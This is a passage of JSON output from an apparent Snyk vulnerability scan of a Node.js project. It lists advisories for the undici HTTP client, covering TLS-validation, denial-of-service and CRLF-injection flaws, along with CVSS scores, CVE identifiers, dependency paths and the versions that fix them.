"modificationTime": "2026-10-20T01:35:47.923864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:20.281545Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:24.655703Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Improper Certificate Validation via the `Agent` constructor in `lib/dispatcher/agent.js`, where TLS options passed as the `tls` parameter are silently dropped and never stored in `kOptions`. Because the `tls` field is not destructured and forwarded to the internal options object, any TLS configuration supplied by the caller - including custom CA certificates, certificate pinning, or hostname verification overrides - is ignored when connections are established. An attacker positioned on the network can exploit the resulting absence of TLS constraints to perform a MitM attack, intercepting or modifying HTTPS traffic that the caller believed was protected by the supplied TLS settings.\n\n## Workaround\n\nUsers who are not able to upgrade to the fixed version are advised to pass the TLS options through connect instead of tls. For proxied `EnvHttpProxyAgent` destinations, use `requestTls / proxyTls`.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-2m5v-pch6-74hx)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/f75eac00ac177f7b2e6c8bfbd52d4113164286e6)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.07019",
"probability": "0.00180",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109383"
],
"CWE": [
"CWE-295"
],
"GHSA": [
"GHSA-2m5v-pch6-74hx"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:12:43.591600Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:59:00.559000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:12:43.778208Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.923864Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"rag-builder@1.0.0",
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-21181013",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"benzdeus"
],
"semver": {
"vulnerable": [
">=4.2.1 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-qrxm-fqhp-jwvm",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-16T06:34:40.410348Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-18T11:15:38.468693Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-18T11:15:38.468693Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:40.410348Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception via unhandled `ERR_TLS_CERT_ALTNAME_INVALID` errors in `onHttpSocketError`, `onHttp2SessionError`, and `onHttp2SocketError`. When a TLS connection is established and the server's certificate fails Subject Alternative Name validation post-connect, the error propagates and triggers a failed `assert` call, crashing the process. An attacker who can cause the client to connect to a server presenting an invalid TLS certificate can exploit this to crash the Node.js process.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-qrxm-fqhp-jwvm)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.07405",
"probability": "0.00184",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-87018"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-qrxm-fqhp-jwvm"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:38.122926Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:58:34.126000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:38.271407Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-18T11:15:38.468693Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-21181015",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"benzdeus"
],
"semver": {
"vulnerable": [
">=5.15.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-9fm3-97px-rjf6",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:19.557183Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:23.888137Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.494426Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.494426Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:19.557183Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:23.888137Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via unbounded automatic PONG write queuing in the WebSocket `ByteParser` receiver. A remote attacker can send a flood of PING control frames over a standard WebSocket connection, causing the outbound write queue to grow without bound because each inbound PING triggers an automatic PONG reply that is enqueued regardless of socket backpressure, exhausting memory and crashing the process.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-9fm3-97px-rjf6)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.22070",
"probability": "0.00308",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109932"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-9fm3-97px-rjf6"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:43.161817Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:58:18.018000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:43.310504Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.494426Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-21181019",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Syed Mohammad Ibrahim"
],
"semver": {
"vulnerable": [
">=6.5.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-4qv8-2p9j-2685",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:19.734826Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:32.430824Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.485058Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.485058Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:19.734826Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:32.430824Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `EventSourceStream` transform in `lib/web/eventsource/eventsource-stream.js`, where the `maxEventSize` limit is only enforced inside `parseLine()`, which is only invoked when a line terminator (CR or LF) is encountered. A server can stream a `data:` field (or any field) that never contains a line terminator, causing the client to buffer the response body without bound and driving the process toward memory exhaustion.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-4qv8-2p9j-2685)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.22069",
"probability": "0.00308",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109924"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-4qv8-2p9j-2685"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:59.691676Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T19:58:39.827000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:59.844509Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.485058Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-15518064",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=6.0.0 <6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/5a97f0893b53ba7d1d5549d3df7e55d9c2673f89",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3537648",
"title": "HackerOne Report"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2447145",
"title": "Red Hat Bugzilla Bug"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:41:54.934873Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:02.863857Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:02.863857Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:41:54.934873Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception in the ByteParser when handling a specially crafted WebSocket frame with an extremely large 64-bit length. An attacker can cause the process to terminate unexpectedly by sending such a frame, resulting in a fatal TypeError and service disruption.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5a97f0893b53ba7d1d5549d3df7e55d9c2673f89)\n- [HackerOne Report](https://hackerone.com/reports/3537648)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2447145)\n",
"epssDetails": {
"percentile": "0.40735",
"probability": "0.00497",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-1528"
],
"CWE": [
"CWE-248"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:17:00.403364Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T20:21:57Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:17:00.628005Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:02.863857Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-15518068",
"title": "Improper Handling of Highly Compressed Data (Data Amplification)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/4b4f93ae292f0d245d3957bc08ee2e03d0839faa",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3481206",
"title": "HackerOne Report"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:41:54.146835Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:02.693149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:02.693149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:41:54.146835Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the `PerMessageDeflate.decompress()` method of the permessage-deflate extension. An attacker can cause excessive memory usage by sending specially crafted compressed WebSocket frames that decompress to a very large size, potentially leading to process crashes or unresponsiveness.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/4b4f93ae292f0d245d3957bc08ee2e03d0839faa)\n- [HackerOne Report](https://hackerone.com/reports/3481206)\n",
"epssDetails": {
"percentile": "0.66482",
"probability": "0.01170",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-1526"
],
"CWE": [
"CWE-409"
],
"GHSA": [
"GHSA-vrm6-8vpv-qv8q"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:25:35.979418Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T22:39:09Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:25:36.181466Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:02.693149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-15518070",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/e9e2997ed18bff6ae389712d5f0e169f8a6546a0",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3487486",
"title": "HackerOne Report"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:38:38.644743Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:51.932784Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:51.932784Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:38:38.644743Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception through improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. An attacker can cause the process to terminate unexpectedly by sending a maliciously crafted value outside the valid range, which triggers an unhandled exception when the client attempts to create a zlib InflateRaw instance.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/e9e2997ed18bff6ae389712d5f0e169f8a6546a0)\n- [HackerOne Report](https://hackerone.com/reports/3487486)\n",
"epssDetails": {
"percentile": "0.58151",
"probability": "0.00890",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-2229"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-v9p9-hfj2-hcw8"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:28:28.965114Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T22:39:04Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:28:29.168834Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:51.932784Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-17372658",
"title": "CRLF Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"credit": [
"ByunSuyoung"
],
"semver": {
"vulnerable": [
"<6.27.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.27.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/25efa447",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/5655ea43",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/d0574cc4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-18T05:38:21.446807Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-26T11:01:41.819705Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:21:32.080422Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:21:32.080422Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:21.446807Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "SUSE",
"severity": "medium",
